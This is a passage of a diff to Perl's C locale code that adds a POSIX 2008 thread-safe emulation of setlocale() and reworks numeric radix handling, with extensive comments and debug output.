+#    define LC_PAPER_INDEX              _DUMMY_MEASUREMENT + 1
+#    define _DUMMY_PAPER                LC_PAPER_INDEX
+#  else
+#    define _DUMMY_PAPER                _DUMMY_MEASUREMENT
+#  endif
+#  ifdef USE_LOCALE_TELEPHONE
+#    define LC_TELEPHONE_INDEX          _DUMMY_PAPER + 1
+#    define _DUMMY_TELEPHONE            LC_TELEPHONE_INDEX
+#  else
+#    define _DUMMY_TELEPHONE            _DUMMY_PAPER
+#  endif
+#  ifdef LC_ALL
+#    define LC_ALL_INDEX                _DUMMY_TELEPHONE + 1
+#  endif
+#endif /* ifdef USE_LOCALE */
+
+/* Windows requres a customized base-level setlocale() */
+#ifdef WIN32
+#  define my_setlocale(cat, locale) win32_setlocale(cat, locale)
+#else
+#  define my_setlocale(cat, locale) setlocale(cat, locale)
+#endif
+
+#ifndef USE_POSIX_2008_LOCALE
+
+/* "do_setlocale_c" is intended to be called when the category is a constant
+ * known at compile time; "do_setlocale_r", not known until run time  */
+#  define do_setlocale_c(cat, locale) my_setlocale(cat, locale)
+#  define do_setlocale_r(cat, locale) my_setlocale(cat, locale)
+
+#else   /* Below uses POSIX 2008 */
+
+/* We emulate setlocale with our own function.  LC_foo is not valid for the
+ * POSIX 2008 functions.  Instead LC_foo_MASK is used, which we use an array
+ * lookup to convert to.  At compile time we have defined LC_foo_INDEX as the
+ * proper offset into the array 'category_masks[]'.  At runtime, we have to
+ * search through the array (as the actual numbers may not be small contiguous
+ * positive integers which would lend themselves to array lookup). */
+#  define do_setlocale_c(cat, locale)                                       \
+                        emulate_setlocale(cat, locale, cat ## _INDEX, TRUE)
+#  define do_setlocale_r(cat, locale) emulate_setlocale(cat, locale, 0, FALSE)
+
+/* A third array, parallel to the ones above to map from category to its
+ * equivalent mask */
+const int category_masks[] = {
+#  ifdef USE_LOCALE_NUMERIC
+                                LC_NUMERIC_MASK,
+#  endif
+#  ifdef USE_LOCALE_CTYPE
+                                LC_CTYPE_MASK,
+#  endif
+#  ifdef USE_LOCALE_COLLATE
+                                LC_COLLATE_MASK,
+#  endif
+#  ifdef USE_LOCALE_TIME
+                                LC_TIME_MASK,
+#  endif
+#  ifdef USE_LOCALE_MESSAGES
+                                LC_MESSAGES_MASK,
+#  endif
+#  ifdef USE_LOCALE_MONETARY
+                                LC_MONETARY_MASK,
+#  endif
+#  ifdef USE_LOCALE_ADDRESS
+                                LC_ADDRESS_MASK,
+#  endif
+#  ifdef USE_LOCALE_IDENTIFICATION
+                                LC_IDENTIFICATION_MASK,
+#  endif
+#  ifdef USE_LOCALE_MEASUREMENT
+                                LC_MEASUREMENT_MASK,
+#  endif
+#  ifdef USE_LOCALE_PAPER
+                                LC_PAPER_MASK,
+#  endif
+#  ifdef USE_LOCALE_TELEPHONE
+                                LC_TELEPHONE_MASK,
+#  endif
+                                /* LC_ALL can't be turned off by a Configure
+                                 * option, and in Posix 2008, should always be
+                                 * here, so compile it in unconditionally.
+                                 * This could catch some glitches at compile
+                                 * time */
+                                LC_ALL_MASK
+                            };
+
+STATIC const char *
+S_emulate_setlocale(const int category,
+                    const char * locale,
+                    unsigned int index,
+                    const bool is_index_valid
+                   )
 {
-#ifdef USE_LOCALE_NUMERIC
-# ifdef HAS_LOCALECONV
-    const struct lconv* const lc = localeconv();
+    /* This function effectively performs a setlocale() on just the current
+     * thread; thus it is thread-safe.  It does this by using the POSIX 2008
+     * locale functions to emulate the behavior of setlocale().  Similar to
+     * regular setlocale(), the return from this function points to memory that
+     * can be overwritten by other system calls, so needs to be copied
+     * immediately if you need to retain it.  The difference here is that
+     * system calls besides another setlocale() can overwrite it.
+     *
+     * By doing this, most locale-sensitive functions become thread-safe.  The
+     * exceptions are mostly those that return a pointer to static memory.
+     *
+     * This function takes the same parameters, 'category' and 'locale', that
+     * the regular setlocale() function does, but it also takes two additional
+     * ones.  This is because the 2008 functions don't use a category; instead
+     * they use a corresponding mask.  Because this function operates in both
+     * worlds, it may need one or the other or both.  This function can
+     * calculate the mask from the input category, but to avoid this
+     * calculation, if the caller knows at compile time what the mask is, it
+     * can pass it, setting 'is_index_valid' to TRUE; otherwise the mask
+     * parameter is ignored.
+     *
+     * POSIX 2008, for some sick reason, chose not to provide a method to find
+     * the category name of a locale.  Some vendors have created a
+     * querylocale() function to do just that.  This function is a lot simpler
+     * to implement on systems that have this.  Otherwise, we have to keep
+     * track of what the locale has been set to, so that we can return its
+     * name to emulate setlocale().  It's also possible for C code in some
+     * library to change the locale without us knowing it, though as of
+     * September 2017, there are no occurrences in CPAN of uselocale().  Some
+     * libraries do use setlocale(), but that changes the global locale, and
+     * threads using per-thread locales will just ignore those changes.
+     * Another problem is that without querylocale(), we have to guess at what
+     * was meant by setting a locale of "".  We handle this by not actually
+     * ever setting to "" (unless querylocale exists), but to emulate what we
+     * think should happen for "".
+     */
 
-    if (lc && lc->decimal_point) {
-	if (lc->decimal_point[0] == '.' && lc->decimal_point[1] == 0) {
-	    SvREFCNT_dec(PL_numeric_radix_sv);
-	    PL_numeric_radix_sv = NULL;
-	}
-	else {
-	    if (PL_numeric_radix_sv)
-		sv_setpv(PL_numeric_radix_sv, lc->decimal_point);
-	    else
-		PL_numeric_radix_sv = newSVpv(lc->decimal_point, 0);
-            if (! is_utf8_invariant_string((U8 *) lc->decimal_point, 0)
-                && is_utf8_string((U8 *) lc->decimal_point, 0)
-                && _is_cur_LC_category_utf8(LC_NUMERIC))
-            {
-		SvUTF8_on(PL_numeric_radix_sv);
+    int mask;
+    locale_t old_obj;
+    locale_t new_obj;
+    dTHX;
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale input=%d (%s), \"%s\", %d, %d\n", __FILE__, __LINE__, category, category_name(category), locale, index, is_index_valid);
+    }
+
+#  endif
+
+    /* If the input mask might be incorrect, calculate the correct one */
+    if (! is_index_valid) {
+        unsigned int i;
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: finding index of category %d (%s)\n", __FILE__, __LINE__, category, category_name(category));
+        }
+
+#  endif
+
+        for (i = 0; i <= LC_ALL_INDEX; i++) {
+            if (category == categories[i]) {
+                index = i;
+                goto found_index;
             }
-	}
+        }
+
+        /* Here, we don't know about this category, so can't handle it.
+         * Fallback to the early POSIX usages */
+        Perl_warner(aTHX_ packWARN(WARN_LOCALE),
+                            "Unknown locale category %d; can't set it to %s\n",
+                                                     category, locale);
+        return NULL;
+
+      found_index: ;
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: index is %d for %s\n", __FILE__, __LINE__, index, category_name(category));
+        }
+
+#  endif
+
     }
-    else
-	PL_numeric_radix_sv = NULL;
 
-#ifdef DEBUGGING
-    if (DEBUG_L_TEST || debug_initialization) {
-        PerlIO_printf(Perl_debug_log, "Locale radix is '%s', ?UTF-8=%d\n",
-                                          (PL_numeric_radix_sv)
-                                           ? SvPVX(PL_numeric_radix_sv)
-                                           : "NULL",
-                                          (PL_numeric_radix_sv)
-                                           ? cBOOL(SvUTF8(PL_numeric_radix_sv))
-                                           : 0);
+    mask = category_masks[index];
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: category name is %s; mask is 0x%x\n", __FILE__, __LINE__, category_names[index], mask);
     }
+
+#  endif
+
+    /* If just querying what the existing locale is ... */
+    if (locale == NULL) {
+        locale_t cur_obj = uselocale((locale_t) 0);
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale querying %p\n", __FILE__, __LINE__, cur_obj);
+        }
+
+#  endif
+
+        if (cur_obj == LC_GLOBAL_LOCALE) {
+            return my_setlocale(category, NULL);
+        }
+
+#  ifdef HAS_QUERYLOCALE
+
+        return (char *) querylocale(mask, cur_obj);
+
+#  else
+
+        /* If this assert fails, adjust the size of curlocales in intrpvar.h */
+        STATIC_ASSERT_STMT(C_ARRAY_LENGTH(PL_curlocales) > LC_ALL_INDEX);
+
+#    if defined(_NL_LOCALE_NAME) && defined(DEBUGGING)
+
+        {
+            /* Internal glibc for querylocale(), but doesn't handle
+             * empty-string ("") locale properly; who knows what other
+             * glitches.  Check it for now, under debug. */
+
+            char * temp_name = nl_langinfo_l(_NL_LOCALE_NAME(category),
+                                             uselocale((locale_t) 0));
+            /*
+            PerlIO_printf(Perl_debug_log, "%s:%d: temp_name=%s\n", __FILE__, __LINE__, temp_name ? temp_name : "NULL");
+            PerlIO_printf(Perl_debug_log, "%s:%d: index=%d\n", __FILE__, __LINE__, index);
+            PerlIO_printf(Perl_debug_log, "%s:%d: PL_curlocales[index]=%s\n", __FILE__, __LINE__, PL_curlocales[index]);
+            */
+            if (temp_name && PL_curlocales[index] && strNE(temp_name, "")) {
+                if (         strNE(PL_curlocales[index], temp_name)
+                    && ! (   isNAME_C_OR_POSIX(temp_name)
+                          && isNAME_C_OR_POSIX(PL_curlocales[index]))) {
+
+#      ifdef USE_C_BACKTRACE
+
+                    dump_c_backtrace(Perl_debug_log, 20, 1);
+
+#      endif
+
+                    Perl_croak(aTHX_ "panic: Mismatch between what Perl thinks %s is"
+                                     " (%s) and what internal glibc thinks"
+                                     " (%s)\n", category_names[index],
+                                     PL_curlocales[index], temp_name);
+                }
+
+                return temp_name;
+            }
+        }
+
+#    endif
+
+        /* Without querylocale(), we have to use our record-keeping we've
+         *  done. */
+
+        if (category != LC_ALL) {
+
+#    ifdef DEBUGGING
+
+            if (DEBUG_Lv_TEST || debug_initialization) {
+                PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale returning %s\n", __FILE__, __LINE__, PL_curlocales[index]);
+            }
+
+#    endif
+
+            return PL_curlocales[index];
+        }
+        else {  /* For LC_ALL */
+            unsigned int i;
+            Size_t names_len = 0;
+            char * all_string;
+            bool are_all_categories_the_same_locale = TRUE;
+
+            /* If we have a valid LC_ALL value, just return it */
+            if (PL_curlocales[LC_ALL_INDEX]) {
+
+#    ifdef DEBUGGING
+
+                if (DEBUG_Lv_TEST || debug_initialization) {
+                    PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale returning %s\n", __FILE__, __LINE__, PL_curlocales[LC_ALL_INDEX]);
+                }
+
+#    endif
+
+                return PL_curlocales[LC_ALL_INDEX];
+            }
+
+            /* Otherwise, we need to construct a string of name=value pairs.
+             * We use the glibc syntax, like
+             *      LC_NUMERIC=C;LC_TIME=en_US.UTF-8;...
+             *  First calculate the needed size.  Along the way, check if all
+             *  the locale names are the same */
+            for (i = 0; i < LC_ALL_INDEX; i++) {
+
+#    ifdef DEBUGGING
+
+                if (DEBUG_Lv_TEST || debug_initialization) {
+                    PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale i=%d, name=%s, locale=%s\n", __FILE__, __LINE__, i, category_names[i], PL_curlocales[i]);
+                }
+
+#    endif
+
+                names_len += strlen(category_names[i])
+                          + 1                       /* '=' */
+                          + strlen(PL_curlocales[i])
+                          + 1;                      /* ';' */
+
+                if (i > 0 && strNE(PL_curlocales[i], PL_curlocales[i-1])) {
+                    are_all_categories_the_same_locale = FALSE;
+                }
+            }
+
+            /* If they are the same, we don't actually have to construct the
+             * string; we just make the entry in LC_ALL_INDEX valid, and be
+             * that single name */
+            if (are_all_categories_the_same_locale) {
+                PL_curlocales[LC_ALL_INDEX] = savepv(PL_curlocales[0]);
+                return PL_curlocales[LC_ALL_INDEX];
+            }
+
+            names_len++;    /* Trailing '\0' */
+            SAVEFREEPV(Newx(all_string, names_len, char));
+            *all_string = '\0';
+
+            /* Then fill in the string */
+            for (i = 0; i < LC_ALL_INDEX; i++) {
+
+#    ifdef DEBUGGING
+
+                if (DEBUG_Lv_TEST || debug_initialization) {
+                    PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale i=%d, name=%s, locale=%s\n", __FILE__, __LINE__, i, category_names[i], PL_curlocales[i]);
+                }
+
+#    endif
+
+                my_strlcat(all_string, category_names[i], names_len);
+                my_strlcat(all_string, "=", names_len);
+                my_strlcat(all_string, PL_curlocales[i], names_len);
+                my_strlcat(all_string, ";", names_len);
+            }
+
+#    ifdef DEBUGGING
+
+            if (DEBUG_L_TEST || debug_initialization) {
+                PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale returning %s\n", __FILE__, __LINE__, all_string);
+            }
+
+    #endif
+
+            return all_string;
+        }
+
+#    ifdef EINVAL
+
+        SETERRNO(EINVAL, LIB_INVARG);
+
+#    endif
+
+        return NULL;
+
+#  endif
+
+    }
+
+    /* Here, we are switching locales. */
+
+#  ifndef HAS_QUERYLOCALE
+
+    if (strEQ(locale, "")) {
+
+        /* For non-querylocale() systems, we do the setting of "" ourselves to
+         * be sure that we really know what's going on.  We follow the Linux
+         * documented behavior (but if that differs from the actual behavior,
+         * this won't work exactly as the OS implements).  We go out and
+         * examine the environment based on our understanding of how the system
+         * works, and use that to figure things out */
+
+        const char * const lc_all = PerlEnv_getenv("LC_ALL");
+
+        /* Use any "LC_ALL" environment variable, as it overrides everything
+         * else. */
+        if (lc_all && strNE(lc_all, "")) {
+            locale = lc_all;
+        }
+        else {
+
+            /* Otherwise, we need to dig deeper.  Unless overridden, the
+             * default is the LANG environment variable; if it doesn't exist,
+             * then "C" */
+
+            const char * default_name;
+
+            /* To minimize other threads messing with the environment, we copy
+             * the variable, making it a temporary.  But this doesn't work upon
+             * program initialization before any scopes are created, and at
+             * this time, there's nothing else going on that would interfere.
+             * So skip the copy in that case */
+            if (PL_scopestack_ix == 0) {
+                default_name = PerlEnv_getenv("LANG");
+            }
+            else {
+                default_name = savepv(PerlEnv_getenv("LANG"));
+            }
+
+            if (! default_name || strEQ(default_name, "")) {
+                default_name = "C";
+            }
+            else if (PL_scopestack_ix != 0) {
+                SAVEFREEPV(default_name);
+            }
+
+            if (category != LC_ALL) {
+                const char * const name = PerlEnv_getenv(category_names[index]);
+
+                /* Here we are setting a single category.  Assume will have the
+                 * default name */
+                locale = default_name;
+
+                /* But then look for an overriding environment variable */
+                if (name && strNE(name, "")) {
+                    locale = name;
+                }
+            }
+            else {
+                bool did_override = FALSE;
+                unsigned int i;
+
+                /* Here, we are getting LC_ALL.  Any categories that don't have
+                 * a corresponding environment variable set should be set to
+                 * LANG, or to "C" if there is no LANG.  If no individual
+                 * categories differ from this, we can just set LC_ALL.  This
+                 * is buggy on systems that have extra categories that we don't
+                 * know about.  If there is an environment variable that sets
+                 * that category, we won't know to look for it, and so our use
+                 * of LANG or "C" improperly overrides it.  On the other hand,
+                 * if we don't do what is done here, and there is no
+                 * environment variable, the category's locale should be set to
+                 * LANG or "C".  So there is no good solution.  khw thinks the
+                 * best is to look at systems to see what categories they have,
+                 * and include them, and then to assume that we know the
+                 * complete set */
+
+                for (i = 0; i < LC_ALL_INDEX; i++) {
+                    const char * const env_override
+                                    = savepv(PerlEnv_getenv(category_names[i]));
+                    const char * this_locale = (   env_override
+                                                && strNE(env_override, ""))
+                                               ? env_override
+                                               : default_name;
+                    if (! emulate_setlocale(categories[i], this_locale, i, TRUE))
+                    {
+                        Safefree(env_override);
+                        return NULL;
+                    }
+
+                    if (strNE(this_locale, default_name)) {
+                        did_override = TRUE;
+                    }
+
+                    Safefree(env_override);
+                }
+
+                /* If all the categories are the same, we can set LC_ALL to
+                 * that */
+                if (! did_override) {
+                    locale = default_name;
+                }
+                else {
+
+                    /* Here, LC_ALL is no longer valid, as some individual
+                     * categories don't match it.  We call ourselves
+                     * recursively, as that will execute the code that
+                     * generates the proper locale string for this situation.
+                     * We don't do the remainder of this function, as that is
+                     * to update our records, and we've just done that for the
+                     * individual categories in the loop above, and doing so
+                     * would cause LC_ALL to be done as well */
+                    return emulate_setlocale(LC_ALL, NULL, LC_ALL_INDEX, TRUE);
+                }
+            }
+        }
+    }
+    else if (strchr(locale, ';')) {
+
+        /* LC_ALL may actually incude a conglomeration of various categories.
+         * Without querylocale, this code uses the glibc (as of this writing)
+         * syntax for representing that, but that is not a stable API, and
+         * other platforms do it differently, so we have to handle all cases
+         * ourselves */
+
+        unsigned int i;
+        const char * s = locale;
+        const char * e = locale + strlen(locale);
+        const char * p = s;
+        const char * category_end;
+        const char * name_start;
+        const char * name_end;
+
+        /* If the string that gives what to set doesn't include all categories,
+         * the omitted ones get set to "C".  To get this behavior, first set
+         * all the individual categories to "C", and override the furnished
+         * ones below */
+        for (i = 0; i < LC_ALL_INDEX; i++) {
+            if (! emulate_setlocale(categories[i], "C", i, TRUE)) {
+                return NULL;
+            }
+        }
+
+        while (s < e) {
+
+            /* Parse through the category */
+            while (isWORDCHAR(*p)) {
+                p++;
+            }
+            category_end = p;
+
+            if (*p++ != '=') {
+                Perl_croak(aTHX_
+                    "panic: %s: %d: Unexpected character in locale name '%02X",
+                    __FILE__, __LINE__, *(p-1));
+            }
+
+            /* Parse through the locale name */
+            name_start = p;
+            while (p < e && *p != ';') {
+                if (! isGRAPH(*p)) {
+                    Perl_croak(aTHX_
+                        "panic: %s: %d: Unexpected character in locale name '%02X",
+                        __FILE__, __LINE__, *(p-1));
+                }
+                p++;
+            }
+            name_end = p;
+
+            /* Space past the semi-colon */
+            if (p < e) {
+                p++;
+            }
+
+            /* Find the index of the category name in our lists */
+            for (i = 0; i < LC_ALL_INDEX; i++) {
+                char * individ_locale;
+
+                /* Keep going if this isn't the index.  The strnNE() avoids a
+                 * Perl_form(), but would fail if ever a category name could be
+                 * a substring of another one, like if there were a
+                 * "LC_TIME_DATE" */
+                if strnNE(s, category_names[i], category_end - s) {
+                    continue;
+                }
+
+                /* If this index is for the single category we're changing, we
+                 * have found the locale to set it to. */
+                if (category == categories[i]) {
+                    locale = Perl_form(aTHX_ "%.*s",
+                                             (int) (name_end - name_start),
+                                             name_start);
+                    goto ready_to_set;
+                }
+
+                assert(category == LC_ALL);
+                individ_locale = Perl_form(aTHX_ "%.*s",
+                                    (int) (name_end - name_start), name_start);
+                if (! emulate_setlocale(categories[i], individ_locale, i, TRUE))
+                {
+                    return NULL;
+                }
+            }
+
+            s = p;
+        }
+
+        /* Here we have set all the individual categories by recursive calls.
+         * These collectively should have fixed up LC_ALL, so can just query
+         * what that now is */
+        assert(category == LC_ALL);
+
+        return do_setlocale_c(LC_ALL, NULL);
+    }
+
+  ready_to_set: ;
+
+    /* Here at the end of having to deal with the absence of querylocale().
+     * Some cases have already been fully handled by recursive calls to this
+     * function.  But at this point, we haven't dealt with those, but are now
+     * prepared to, knowing what the locale name to set this category to is.
+     * This would have come for free if this system had had querylocale() */
+
+#  endif  /* end of ! querylocale */
+
+    assert(PL_C_locale_obj);
+
+    /* Switching locales generally entails freeing the current one's space (at
+     * the C library's discretion).  We need to stop using that locale before
+     * the switch.  So switch to a known locale object that we don't otherwise
+     * mess with.  This returns the locale object in effect at the time of the
+     * switch. */
+    old_obj = uselocale(PL_C_locale_obj);
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale was using %p\n", __FILE__, __LINE__, old_obj);
+    }
+
+#  endif
+
+    if (! old_obj) {
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_L_TEST || debug_initialization) {
+            dSAVE_ERRNO;
+            PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale switching to C failed: %d\n", __FILE__, __LINE__, GET_ERRNO);
+            RESTORE_ERRNO;
+        }
+
+#  endif
+
+        return NULL;
+    }
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale now using %p\n", __FILE__, __LINE__, PL_C_locale_obj);
+    }
+
+#  endif
+
+    /* If we weren't in a thread safe locale, set so that newlocale() below
+     which uses 'old_obj', uses an empty one.  Same for our reserved C object.
+     The latter is defensive coding, so that, even if there is some bug, we
+     will never end up trying to modify either of these, as if passed to
+     newlocale(), they can be. */
+    if (old_obj == LC_GLOBAL_LOCALE || old_obj == PL_C_locale_obj) {
+        old_obj = (locale_t) 0;
+    }
+
+    /* Ready to create a new locale by modification of the exising one */
+    new_obj = newlocale(mask, locale, old_obj);
+
+    if (! new_obj) {
+        dSAVE_ERRNO;
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_L_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale creating new object failed: %d\n", __FILE__, __LINE__, GET_ERRNO);
+        }
+
+#  endif
+
+        if (! uselocale(old_obj)) {
+
+#  ifdef DEBUGGING
+
+            if (DEBUG_L_TEST || debug_initialization) {
+                PerlIO_printf(Perl_debug_log, "%s:%d: switching back failed: %d\n", __FILE__, __LINE__, GET_ERRNO);
+            }
+
+#  endif
+
+        }
+        RESTORE_ERRNO;
+        return NULL;
+    }
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale created %p; should have freed %p\n", __FILE__, __LINE__, new_obj, old_obj);
+    }
+
+#  endif
+
+    /* And switch into it */
+    if (! uselocale(new_obj)) {
+        dSAVE_ERRNO;
+
+#  ifdef DEBUGGING
+
+        if (DEBUG_L_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale switching to new object failed\n", __FILE__, __LINE__);
+        }
+
+#  endif
+
+        if (! uselocale(old_obj)) {
+
+#  ifdef DEBUGGING
+
+            if (DEBUG_L_TEST || debug_initialization) {
+                PerlIO_printf(Perl_debug_log, "%s:%d: switching back failed: %d\n", __FILE__, __LINE__, GET_ERRNO);
+            }
+
+#  endif
+
+        }
+        freelocale(new_obj);
+        RESTORE_ERRNO;
+        return NULL;
+    }
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "%s:%d: emulate_setlocale now using %p\n", __FILE__, __LINE__, new_obj);
+    }
+
+#  endif
+
+    /* We are done, except for updating our records (if the system doesn't keep
+     * them) and in the case of locale "", we don't actually know what the
+     * locale that got switched to is, as it came from the environment.  So
+     * have to find it */
+
+#  ifdef HAS_QUERYLOCALE
+
+    if (strEQ(locale, "")) {
+        locale = querylocale(mask, new_obj);
+    }
+
+#  else
+
+    /* Here, 'locale' is the return value */
+
+    /* Without querylocale(), we have to update our records */
+
+    if (category == LC_ALL) {
+        unsigned int i;
+
+        /* For LC_ALL, we change all individual categories to correspond */
+                              /* PL_curlocales is a parallel array, so has same
+                               * length as 'categories' */
+        for (i = 0; i <= LC_ALL_INDEX; i++) {
+            Safefree(PL_curlocales[i]);
+            PL_curlocales[i] = savepv(locale);
+        }
+    }
+    else {
+
+        /* For a single category, if it's not the same as the one in LC_ALL, we
+         * nullify LC_ALL */
+
+        if (PL_curlocales[LC_ALL_INDEX] && strNE(PL_curlocales[LC_ALL_INDEX], locale)) {
+            Safefree(PL_curlocales[LC_ALL_INDEX]);
+            PL_curlocales[LC_ALL_INDEX] = NULL;
+        }
+
+        /* Then update the category's record */
+        Safefree(PL_curlocales[index]);
+        PL_curlocales[index] = savepv(locale);
+    }
+
+#  endif
+
+    return locale;
+}
+
+#endif /* USE_POSIX_2008_LOCALE */
+
+#if 0   /* Code that was to emulate thread-safe locales on platforms that
+           didn't natively support them */
+
+/* The way this would work is that we would keep a per-thread list of the
+ * correct locale for that thread.  Any operation that was locale-sensitive
+ * would have to be changed so that it would look like this:
+ *
+ *      LOCALE_LOCK;
+ *      setlocale to the correct locale for this operation
+ *      do operation
+ *      LOCALE_UNLOCK
+ *
+ * This leaves the global locale in the most recently used operation's, but it
+ * was locked long enough to get the result.  If that result is static, it
+ * needs to be copied before the unlock.
+ *
+ * Macros could be written like SETUP_LOCALE_DEPENDENT_OP(category) that did
+ * the setup, but are no-ops when not needed, and similarly,
+ * END_LOCALE_DEPENDENT_OP for the tear-down
+ *
+ * But every call to a locale-sensitive function would have to be changed, and
+ * if a module didn't cooperate by using the mutex, things would break.
+ *
+ * This code was abandoned before being completed or tested, and is left as-is
+*/
+
+#  define do_setlocale_c(cat, locale) locking_setlocale(cat, locale, cat ## _INDEX, TRUE)
+#  define do_setlocale_r(cat, locale) locking_setlocale(cat, locale, 0, FALSE)
+
+STATIC char *
+S_locking_setlocale(pTHX_
+                    const int category,
+                    const char * locale,
+                    int index,
+                    const bool is_index_valid
+                   )
+{
+    /* This function kind of performs a setlocale() on just the current thread;
+     * thus it is kind of thread-safe.  It does this by keeping a thread-level
+     * array of the current locales for each category.  Every time a locale is
+     * switched to, it does the switch globally, but updates the thread's
+     * array.  A query as to what the current locale is just returns the
+     * appropriate element from the array, and doesn't actually call the system
+     * setlocale().  The saving into the array is done in an uninterruptible
+     * section of code, so is unaffected by whatever any other threads might be
+     * doing.
+     *
+     * All locale-sensitive operations must work by first starting a critical
+     * section, then switching to the thread's locale as kept by this function,
+     * and then doing the operation, then ending the critical section.  Thus,
+     * each gets done in the appropriate locale. simulating thread-safety.
+     *
+     * This function takes the same parameters, 'category' and 'locale', that
+     * the regular setlocale() function does, but it also takes two additional
+     * ones.  This is because as described earlier.  If we know on input the
+     * index corresponding to the category into the array where we store the
+     * current locales, we don't have to calculate it.  If the caller knows at
+     * compile time what the index is, it it can pass it, setting
+     * 'is_index_valid' to TRUE; otherwise the index parameter is ignored.
+     *
+     */
+
+    /* If the input index might be incorrect, calculate the correct one */
+    if (! is_index_valid) {
+        unsigned int i;
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: converting category %d to index\n", __FILE__, __LINE__, category);
+        }
+
+        for (i = 0; i <= LC_ALL_INDEX; i++) {
+            if (category == categories[i]) {
+                index = i;
+                goto found_index;
+            }
+        }
+
+        /* Here, we don't know about this category, so can't handle it.
+         * XXX best we can do is to unsafely set this
+         * XXX warning */
+
+        return my_setlocale(category, locale);
+
+      found_index: ;
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "%s:%d: index is 0x%x\n", __FILE__, __LINE__, index);
+        }
+    }
+
+    /* For a query, just return what's in our records */
+    if (new_locale == NULL) {
+        return curlocales[index];
+    }
+
+
+    /* Otherwise, we need to do the switch, and save the result, all in a
+     * critical section */
+
+    Safefree(curlocales[[index]]);
+
+    /* It might be that this is called from an already-locked section of code.
+     * We would have to detect and skip the LOCK/UNLOCK if so */
+    LOCALE_LOCK;
+
+    curlocales[index] = savepv(my_setlocale(category, new_locale));
+
+    if (strEQ(new_locale, "")) {
+
+#ifdef LC_ALL
+
+        /* The locale values come from the environment, and may not all be the
+         * same, so for LC_ALL, we have to update all the others, while the
+         * mutex is still locked */
+
+        if (category == LC_ALL) {
+            unsigned int i;
+            for (i = 0; i < LC_ALL_INDEX) {
+                curlocales[i] = my_setlocale(categories[i], NULL);
+            }
+        }
+    }
+
 #endif
 
-# endif /* HAS_LOCALECONV */
-#endif /* USE_LOCALE_NUMERIC */
+    LOCALE_UNLOCK;
+
+    return curlocales[index];
 }
 
-/* Is the C string input 'name' "C" or "POSIX"?  If so, and 'name' is the
- * return of setlocale(), then this is extremely likely to be the C or POSIX
- * locale.  However, the output of setlocale() is documented to be opaque, but
- * the odds are extremely small that it would return these two strings for some
- * other locale.  Note that VMS in these two locales includes many non-ASCII
- * characters as controls and punctuation (below are hex bytes):
- *   cntrl:  00-1F 7F 84-97 9B-9F
- *   punct:  21-2F 3A-40 5B-60 7B-7E A1-A3 A5 A7-AB B0-B3 B5-B7 B9-BD BF-CF D1-DD DF-EF F1-FD
- * Oddly, none there are listed as alphas, though some represent alphabetics
- * http://www.nntp.perl.org/group/perl.perl5.porters/2013/02/msg198753.html */
-#define isNAME_C_OR_POSIX(name) ((name) != NULL                                 \
-                                  && ((*(name) == 'C' && (*(name + 1)) == '\0') \
-                                       || strEQ((name), "POSIX")))
+#endif
 
-void
-Perl_new_numeric(pTHX_ const char *newnum)
+STATIC void
+S_set_numeric_radix(pTHX_ const bool use_locale)
 {
-#ifdef USE_LOCALE_NUMERIC
+    /* If 'use_locale' is FALSE, set to use a dot for the radix character.  If
+     * TRUE, use the radix character derived from the current locale */
 
-    /* Called after all libc setlocale() calls affecting LC_NUMERIC, to tell
+#if defined(USE_LOCALE_NUMERIC) && (   defined(HAS_LOCALECONV)              \
+                                    || defined(HAS_NL_LANGINFO))
+
+    const char * radix = (use_locale)
+                         ? my_nl_langinfo(RADIXCHAR, FALSE)
+                                        /* FALSE => already in dest locale */
+                         : ".";
+
+        sv_setpv(PL_numeric_radix_sv, radix);
+
+    /* If this is valid UTF-8 that isn't totally ASCII, and we are in
+        * a UTF-8 locale, then mark the radix as being in UTF-8 */
+    if (is_utf8_non_invariant_string((U8 *) SvPVX(PL_numeric_radix_sv),
+                                            SvCUR(PL_numeric_radix_sv))
+        && _is_cur_LC_category_utf8(LC_NUMERIC))
+    {
+        SvUTF8_on(PL_numeric_radix_sv);
+    }
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_L_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "Locale radix is '%s', ?UTF-8=%d\n",
+                                           SvPVX(PL_numeric_radix_sv),
+                                           cBOOL(SvUTF8(PL_numeric_radix_sv)));
+    }
+
+#  endif
+#endif /* USE_LOCALE_NUMERIC and can find the radix char */
+
+}
+
+STATIC void
+S_new_numeric(pTHX_ const char *newnum)
+{
+
